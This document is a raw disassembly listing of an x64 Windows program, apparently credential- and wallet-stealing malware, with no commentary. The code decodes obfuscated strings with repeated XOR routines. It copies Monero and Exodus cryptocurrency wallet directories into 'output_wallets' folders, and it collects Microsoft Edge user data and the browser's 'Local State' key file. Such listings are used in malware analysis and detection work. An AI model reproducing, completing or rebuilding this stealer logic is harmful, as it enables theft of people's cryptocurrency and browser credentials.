packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm2, xmmword [0x14029dc90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r8d, Ordinal_26
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400228c0
mov rdx, r10
lea rcx, [rbp + 0x2a38]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2a58]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2a78]
call fcn.140037cd0
nop
lea rdx, [rbp + 0x2a18]
lea rcx, [rbp + 0x2a78]
call fcn.1400142d0
nop
lea rcx, [rbp + 0x2a78]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x2a58]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2a38]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2a18]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x29f8]
call fcn.1400320f0
lea rdx, [rbp + 0x120]
lea rcx, [rbp - 4]
call fcn.14002dcd0
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x140022b80
mov r8d, esi
cmp r14d, 2
jl 0x140022b44
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r8d, reloc.WS2_32.dll_recv
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140022b50
mov rdx, r10
lea rcx, [rbp + 0x2a98]
call fcn.1400322a0
nop
bts ebx, 0xf
mov dword [rbp + 0x38], ebx
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2ab8]
call fcn.140035ef0
nop
bts ebx, 0x10
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2ad8]
call fcn.140037cd0
nop
bts ebx, 0x11
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2ad8]
call fcn.14000a000
test al, al
je 0x140022c3b
lea r8, str._documents_monero
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2af8]
call fcn.140035d30
nop
bts ebx, 0x12
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b18]
call fcn.140037cd0
nop
bts ebx, 0x13
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2b18]
call fcn.14000a090
test al, al
je 0x140022c3b
mov dil, 1
jmp 0x140022c3e
xor dil, dil
bt ebx, 0x13
jae 0x140022c59
btr ebx, 0x13
lea rcx, [rbp + 0x2b18]
call fcn.1400079a0
nop
bt ebx, 0x12
jae 0x140022c74
btr ebx, 0x12
lea rcx, [rbp + 0x2af8]
call fcn.1400320f0
nop
bt ebx, 0x11
jae 0x140022c8f
btr ebx, 0x11
lea rcx, [rbp + 0x2ad8]
call fcn.1400079a0
nop
bt ebx, 0x10
jae 0x140022caa
btr ebx, 0x10
lea rcx, [rbp + 0x2ab8]
call fcn.1400320f0
nop
bt ebx, 0xf
jae 0x140022cc4
btr ebx, 0xf
lea rcx, [rbp + 0x2a98]
call fcn.1400320f0
test dil, dil
je 0x140022f8e
lea r8, str._output_wallets_monero
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x2b38]
call fcn.140035d30
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b58]
call fcn.140037cd0
nop
lea rdx, [rbp + 0x138]
lea rcx, [rbp - 3]
call fcn.14002dcd0
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x140022f00
mov r8d, esi
cmp r14d, 2
jl 0x140022ec1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r8d, reloc.WS2_32.dll_recv
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140022ed0
mov rdx, r10
lea rcx, [rbp + 0x2b78]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2b98]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2bb8]
call fcn.140037cd0
nop
lea rdx, [rbp + 0x2b58]
lea rcx, [rbp + 0x2bb8]
call fcn.1400142d0
nop
lea rcx, [rbp + 0x2bb8]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x2b98]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2b78]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2b58]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x2b38]
call fcn.1400320f0
lea rdx, [rbp + 0x5e8]
lea rcx, [rbp - 2]
call fcn.14002dcf0
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x140023259
mov r8d, esi
cmp r14d, 2
jl 0x140023228
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm13, xmmword [0x14029dc90]
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
jmp 0x140023262
mov r9, r10
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140023230
movdqa xmm13, xmmword [0x14029dc90]
mov rdx, r10
lea rcx, [rbp + 0x2bd8]
call fcn.1400322a0
nop
bts ebx, 0x14
mov dword [rbp + 0x38], ebx
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2bf8]
call fcn.140035ef0
nop
bts ebx, 0x15
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2c18]
call fcn.140037cd0
nop
bts ebx, 0x16
mov dword [rbp + 0x40], ebx
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2c18]
call fcn.14000a000
test al, al
je 0x140023323
lea r8, str._appdata_roaming_exodus
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2c38]
call fcn.140035d30
nop
bts ebx, 0x17
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2c58]
call fcn.140037cd0
nop
bts ebx, 0x18
mov dword [rbp + 0x40], ebx
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2c58]
call fcn.14000a090
test al, al
je 0x140023323
mov dil, 1
jmp 0x140023326
xor dil, dil
bt ebx, 0x18
jae 0x140023344
btr ebx, 0x18
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2c58]
call fcn.1400079a0
nop
bt ebx, 0x17
jae 0x140023362
btr ebx, 0x17
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2c38]
call fcn.1400320f0
nop
bt ebx, 0x16
jae 0x140023380
btr ebx, 0x16
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2c18]
call fcn.1400079a0
nop
bt ebx, 0x15
jae 0x14002339e
btr ebx, 0x15
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2bf8]
call fcn.1400320f0
nop
bt ebx, 0x14
jae 0x1400233bb
btr ebx, 0x14
mov dword [rbp + 0x40], ebx
lea rcx, [rbp + 0x2bd8]
call fcn.1400320f0
test dil, dil
je 0x140023744
lea r8, str._output_wallets_exodus
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x2c78]
call fcn.140035d30
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2c98]
call fcn.140037cd0
nop
lea rdx, [rbp + 0x600]
lea rcx, [rbp - 1]
call fcn.14002dcf0
mov r9, rax
cmp byte [rax + 0x17], 0
je 0x1400236b6
cmp r14d, 2
jl 0x140023680
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm1, xmm0
movd dword [r9 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm1, xmm0
movd dword [r9 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm1, xmm0
movd dword [r9 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 0x10]
xorps xmm1, xmm0
movd dword [r9 + 0x10], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r9 + 0x14]
xorps xmm1, xmm0
movd dword [r9 + 0x14], xmm1
jmp 0x1400236b6
mov r8, r9
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul esi
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x18
jl 0x140023690
mov rdx, r9
lea rcx, [rbp + 0x2cb8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2cd8]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2cf8]
call fcn.140037cd0
nop
lea rdx, [rbp + 0x2c98]
lea rcx, [rbp + 0x2cf8]
call fcn.1400142d0
nop
lea rcx, [rbp + 0x2cf8]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x2cd8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2cb8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2c98]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x2c78]
call fcn.1400320f0
mov edx, Ordinal_26
lea rcx, [rbp + 0x6128]
call fcn.14000ba50
lea r8, str._appdata_local_microsoft_edge_user_data_
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2d18]
call fcn.140035d30
nop
mov rdx, rax
lea rcx, [rbp + 0x6128]
call fcn.140011f60
nop
lea rcx, [rbp + 0x2d18]
call fcn.1400320f0
lea rdx, str.Default
lea rcx, [rbp + 0x2d38]
call fcn.1400322a0
nop
lea rdx, [rbp + 0x2d38]
lea rcx, [rbp + 0x6128]
call fcn.1400319f0
nop
lea rcx, [rbp + 0x2d38]
call fcn.1400320f0
lea r8, str._elocalstate
lea rdx, [rbp + 0x64b8]
lea rcx, [rbp + 0x2d58]
call fcn.140035d30
mov rbx, rax
lea r8, str._appdata_local_microsoft_edge_user_data_Local_State
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2d78]
call fcn.140035d30
nop
mov rdx, rbx
mov rcx, rax
call fcn.14000cae0
nop
lea rcx, [rbp + 0x2d78]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2d58]
call fcn.1400320f0
mov edx, Ordinal_26
lea rcx, [rbp + 0x6140]
call fcn.14000ba50
lea r8, str._elocalstate
lea rdx, [rbp + 0x64b8]
lea rcx, [rbp + 0x2d98]
call fcn.140035d30
nop
mov rdx, rax
lea rcx, [rbp + 0x6140]
call fcn.14000cd00
nop
lea rcx, [rbp + 0x2d98]
call fcn.1400320f0
lea r8, str._elocalstate
lea rdx, [rbp + 0x64b8]
lea rcx, [rbp + 0x6858]
call fcn.140035d30
nop
mov edx, Ordinal_26
lea rcx, [rbp + 0x6158]
call fcn.14000ba50
lea rdx, [rbp + 0x6858]
lea rcx, [rbp + 0x2db8]
call fcn.1400322e0
mov rdx, rax
lea rcx, [rbp + 0x6158]
call fcn.14000d4c0
nop
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x6158]
call fcn.140031410
mov r8d, 5
lea rdx, [rbp + 0x90]
mov rcx, rax
call fcn.14002df50
mov rbx, qword [rax]
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x6158]
call fcn.140031410
mov r9, rbx
mov r8, qword [rax]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x6158]
call fcn.140031420
lea rcx, [rbp + 0x6158]
call fcn.140031400
mov rbx, rax
lea rcx, [rbp + 0x6158]
call fcn.140031400
mov qword [rbp + 0x60a8], rax
mov edx, Ordinal_26
lea rcx, [rbp + 0x6170]
call fcn.14000ba50
lea rcx, [rbp + 0x6158]
call fcn.14002d300
mov r8, rax
lea r9, [rbp + 0x60a8]
mov rdx, rbx
lea rcx, [rbp + 0x6170]
call fcn.14000cf30
nop
lea rcx, [rbp + 0x6170]
call fcn.140031400
mov rbx, rax
lea rcx, [rbp + 0x6170]
call fcn.1400313f0
mov rdi, rax
cmp rbx, rax
je 0x1400239a7
nop dword [rax + rax]
movzx edx, byte [rbx]
lea rcx, [0x1402d5ad0]
call fcn.140037ff0
inc rbx
cmp rbx, rdi
jne 0x140023990
lea r8, str._output_edge_
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x2dd8]
call fcn.140038770
nop
mov rcx, rax
call fcn.140031ce0
mov rdx, rax
lea rcx, [rbp + 0x67f8]
call fcn.140031e60
nop
lea rcx, [rbp + 0x2dd8]
call fcn.1400349b0
lea rcx, [rbp + 0x67f8]
call fcn.140031ce0
mov qword [rsp + 0x50], rax
lea r8, [0x140284d60]
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x2df8]
call fcn.140038770
nop
mov rcx, rax
call fcn.140031ce0
mov rdx, rax
lea rcx, [rbp + 0x6638]
call fcn.140031e60
nop
lea rcx, [rbp + 0x2df8]
call fcn.1400349b0
lea rcx, [rbp + 0x6638]
call fcn.140031ce0
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x2e18]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x2e18]
call fcn.1400322e0
mov r13, rax
lea rax, [rbp + 0x630]
mov qword [rsp + 0x70], rax
lea rdx, [rbp + 0x6170]
lea rcx, [rbp + 0x630]
call fcn.140031480
mov r12, rax
lea rax, [rbp + 0x2e38]
mov qword [rbp - 0x58], rax
lea r8, [0x140284684]
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x2e38]
call fcn.140035d30
mov r15, rax
lea rax, [rbp + 0x2e58]
mov qword [rbp - 0x60], rax
lea r8, str._appdata_local_microsoft_edge_user_data
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2e58]
call fcn.140035d30
mov r14, rax
lea rax, [rbp + 0x2e78]
mov qword [rbp - 0x68], rax
lea rdx, [0x140284d60]
lea rcx, [rbp + 0x2e78]
call fcn.140031e60
mov rsi, rax
lea rax, [rbp + 0x2e98]
mov qword [rbp - 0x70], rax
lea rdx, str._edge_
lea rcx, [rbp + 0x2e98]
call fcn.1400322a0
mov rdi, rax
lea rax, [rbp + 0x2eb8]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2eb8]
call fcn.1400322e0
mov rbx, rax
lea rdx, [rbp + 0x6128]
lea rcx, [rbp + 0x648]
call fcn.140031a50
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rsp + 0x60]
